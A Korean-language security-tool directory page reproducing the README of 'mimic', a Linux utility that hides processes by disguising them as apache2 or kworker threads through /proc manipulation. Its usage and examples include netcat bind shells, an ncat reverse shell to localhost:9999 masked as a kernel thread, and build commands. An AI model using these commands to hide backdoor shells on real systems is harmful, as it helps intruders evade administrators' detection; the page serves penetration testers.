Skip to content
KitploitKITPLOIT
도구블로그
제출
도구블로그
제출

해킹, 침투 테스트 및 사이버 보안 도구를 당신의 보안 무기고에!

Kitploit은 해킹, 사이버 보안 및 침투 테스트 도구 디렉토리입니다. 최신 프로젝트 업데이트를 발견하여 취약점을 찾고, 시스템을 분석하고, 테스트를 자동화하고, 보안을 강화하세요.

··피드·문의·개인정보·© 2026 Kitploit

도구 디렉토리

카테고리

모든 카테고리 보기
Loading categories
mimic — 리눅스에서 일반 사용자로 프로세스를 숨깁니다. | Kitploit
도구/GitHubGitHub/emptymonkey/mimic
IDS/IPS EvasionPenetration TestingRed Teaming
GitHubemptymonkey/mimic

mimic

리눅스에서 일반 사용자로 프로세스를 숨깁니다.

저장소 보기
263512년 전Kitploit 검토 완료

인기

모두 보기 →

커뮤니티에서 가장 많이 사용되는 도구를 찾아보세요.

모든 도구 탐색

도구 컬렉션을 둘러보세요

모든 도구 보기 →
공유

mimic

_mimic_는 Linux x86_64에서 은밀 실행을 위한 도구입니다.

"은밀 실행"이란 무엇인가요?

은밀 실행은 프로세스를 숨기는 기술입니다. 이 경우 _mimic_은 프로세스를 눈에 띄지 않게 숨깁니다. _mimic_은 모든 프로그램을 실행하고 다른 프로그램처럼 보이게 할 수 있습니다. 모든 사용자가 사용할 수 있습니다. 특별한 권한이 필요하지 않습니다. 특별한 바이너리가 필요하지 않습니다. 루트킷이 필요하지 않습니다.

뭐라고요?! 특별한 권한이 필요 없다고요??

맞습니다. _mimic_은 프로세스의 내부 구조를 재배열하여 그 프로세스의 /proc 항목을 혼란스럽게 만듭니다. 프로세스의 특성을 보고하는 모든 도구는 /proc을 검사하여 그렇게 합니다. /proc을 조작할 수 있다면 프로세스를 눈에 띄지 않게 숨길 수 있습니다. 우리는 우리가 소유한 프로세스의 상태만 변경하기 때문에 누구나 _mimic_을 성공적으로 실행할 수 있습니다.

이것을 감지할 수 있나요?!

물론입니다, 하지만 아주 자세히 살펴보거나 이런 종류의 것을 찾는 포렌식 도구를 실행하는 경우에만 가능합니다. _mimic_의 유용성은 처음부터 누군가가 의심을 품는 것을 방지한다는 점에 있습니다.

스크립트에서도 작동하나요?

네, 하지만 인터프리터에서 mimic을 직접 호출해야 합니다. 예를 들어, 스크립트의 첫 줄이 "#!/usr/bin/perl"이면 _mimic_을 다음과 같이 호출해야 합니다:

root@kitploit:~
empty@monkey:~$ mimic -e "/usr/bin/perl test.pl" 

인터프리터를 직접 호출함으로써 mimic은 마법을 부릴 수 있습니다.

_mimic_의 대상 사용자는 누구인가요?

루트 권한을 획득하기 전에 합법적으로 은밀 실행이 필요한 모든 사람입니다. 여기에는 다음이 포함되지만 이에 국한되지는 않습니다:

  • 침투 테스터.
  • 은밀 작전을 수행하는 조사관 (물론 법무 및 인사 부서의 사전 승인을 받아야 합니다.)

왜 "mimic"이라고 부르나요?

"거짓말쟁이, 거짓말쟁이, /proc에 불이야!"가 너무 길었기 때문입니다.

"set_target_pid"란 무엇인가요?

set_target_pid는 mimic 제품군의 작은 도우미 프로그램으로, 원하는 pid가 돌아올 때까지 pid를 소진시킵니다. 이를 통해 프로세스 목록에서 프로세스가 위치할 곳을 선택할 수 있습니다. 커널은 처음 300개의 pid를 커널 스레드용으로 예약합니다. 그 아래로 내려가려고 하면 아마 pid 301로 실행될 것입니다.

사용법

root@kitploit:~
usage: mimic -e COMMAND [-m MIMIC] [-b] [-a KEY=VALUE] [-q] [-h]
	-e	Execute COMMAND.
	-m	Setup COMMAND to look like MIMIC.
			Default for non-root is:    "/usr/sbin/apache2 -k start"
			Default for root is:        "[kworker/0:0]"
	-b	Launch COMMAND in the background.
	-a	Add / overwrite KEY to the mimic environment with associated VALUE.
	-q	Be quiet! Do not print normal output.
	-h	Print this helpful message.

	Notes:
		The MIMIC environment will be a copy of the COMMAND environment.
		The '_' variable is automatically changed.
		The -a flag can be called multiple times to add / overwrite multiple variables.

	Examples:
		mimic -e /bin/bash
		set_target_pid 1 && mimic -e /bin/bash
		mimic -b -e "./revsh"
		mimic -b -e "nc -l -e /bin/bash"
		mimic -b -e "nc -l -e \"mimic -e /bin/bash\""

예제

첫 번째 예제 - 일반 사용자로 netcat 리스너 실행:

root@kitploit:~
empty@monkey:~$ ./mimic -b -e "/usr/local/bin/ncat -l -e \"./mimic -e /bin/bash\""
Launching child...                  Success!
Waiting for child to attach...      Success!
Initializing ptrace_do...           Success!
Determining stack state...          Success!
Politely requesting name change...  Success!
Searching for main()...             Success!
Building execution headers...       Success!
Setting up final state...           Success!

	Good-bye and have a good luck! :)

empty@monkey:~$ ps aux | grep apache
empty     1931 19.5  0.0  16648  1324 pts/1    S    21:41   0:02 /usr/sbin/apache2 -k start
empty     1935  0.0  0.0   7596   836 pts/1    S+   21:41   0:00 grep apache

empty@monkey:~$ sudo lsof -i -n -P | grep apache
[sudo] password for empty: 
apache2  1931 empty    3u  IPv6  14462      0t0  TCP *:31337 (LISTEN)
apache2  1931 empty    4u  IPv4  14463      0t0  TCP *:31337 (LISTEN)

두 번째 예제 - root로 netcat 리버스 셸 실행:

root@kitploit:~
root@monkey:~$ /home/empty/code/mimic/set_target_pid 1 && /home/empty/code/mimic/mimic -b -q -e "/usr/local/bin/ncat -e \"/home/empty/code/mimic/mimic -e \\\"/bin/bash\\\"\" localhost 9999"

가짜 kworker를 찾을 수 있나요? grep의 도움 없이도 찾을 수 있나요?

root@kitploit:~
root@monkey:~$ ps aux | grep kworker | grep -v grep
root        18  0.0  0.0      0     0 ?        S    19:39   0:00 [kworker/3:0]
root       197  0.0  0.0      0     0 ?        S    19:39   0:06 [kworker/u:3]
root       198  0.0  0.0      0     0 ?        S    19:39   0:06 [kworker/u:4]
root       199  0.0  0.0      0     0 ?        S    19:39   0:06 [kworker/u:5]
root       302 23.4  0.0  18748  1912 pts/5    S    22:28   0:02 [kworker/0:0]
root       304 11.4  0.0   3780   296 pts/5    S    22:28   0:00 [kworker/0:0]              
root       305 10.8  0.0  10644  1200 pts/5    S    22:28   0:00 [kworker/0:0]
root       426  0.0  0.0      0     0 ?        S    20:20   0:00 [kworker/1:0]
root       434  0.0  0.0      0     0 ?        S    20:20   0:00 [kworker/3:2]
root       536  0.0  0.0      0     0 ?        S    20:12   0:00 [kworker/0:0]
root       879  0.0  0.0      0     0 ?        S    20:39   0:00 [kworker/2:0]
root      1463  0.0  0.0      0     0 ?        S    19:39   0:00 [kworker/1:2]
root      2132  0.0  0.0      0     0 ?        S    19:47   0:00 [kworker/2:2]
root      2607  0.0  0.0      0     0 ?        S    20:01   0:01 [kworker/0:1]

물론, kworker는 열린 소켓을 가져서는 안 되지만, 이보다 더 창의적인 이름 선택을 할 수 있을 거라 확신합니다. :)

root@kitploit:~
root@monkey:~$ lsof -i -n -P | grep kworker
kworker/0  302  root    4u  IPv4  20546      0t0  TCP 127.0.0.1:47054->127.0.0.1:9999 (ESTABLISHED)
kworker/0  304  root    4u  IPv4  20546      0t0  TCP 127.0.0.1:47054->127.0.0.1:9999 (ESTABLISHED)
kworker/0  305  root    4u  IPv4  20546      0t0  TCP 127.0.0.1:47054->127.0.0.1:9999 (ESTABLISHED)

여기서 root로 실행하는 이유는 kworker 스레드가 루트가 아닌 사용자로 실행되면 매우 의심스럽기 때문입니다. 새로운 mimic 이름은 단순한 문자열입니다. 기존 프로세스일 필요도 없습니다. 심지어 실제 존재하는 것일 필요도 없습니다!

root@kitploit:~
empty@monkey:~$ code/mimic/mimic -q -e /bin/bash -m "Totally not a rootkit\!"

empty@monkey:~$ ps aux | grep rootkit | grep -v grep
empty      399  2.9  0.0   3780   300 pts/4    S    22:34   0:00 Totally not a rootkit!          
empty      400  2.7  0.0  19372  2044 pts/4    S    22:34   0:00 Totally not a rootkit!

설치

root@kitploit:~
git clone https://github.com/emptymonkey/ptrace_do.git
cd ptrace_do
make
cd ..

git clone https://github.com/emptymonkey/mimic.git
cd mimic
make
도구 다운로드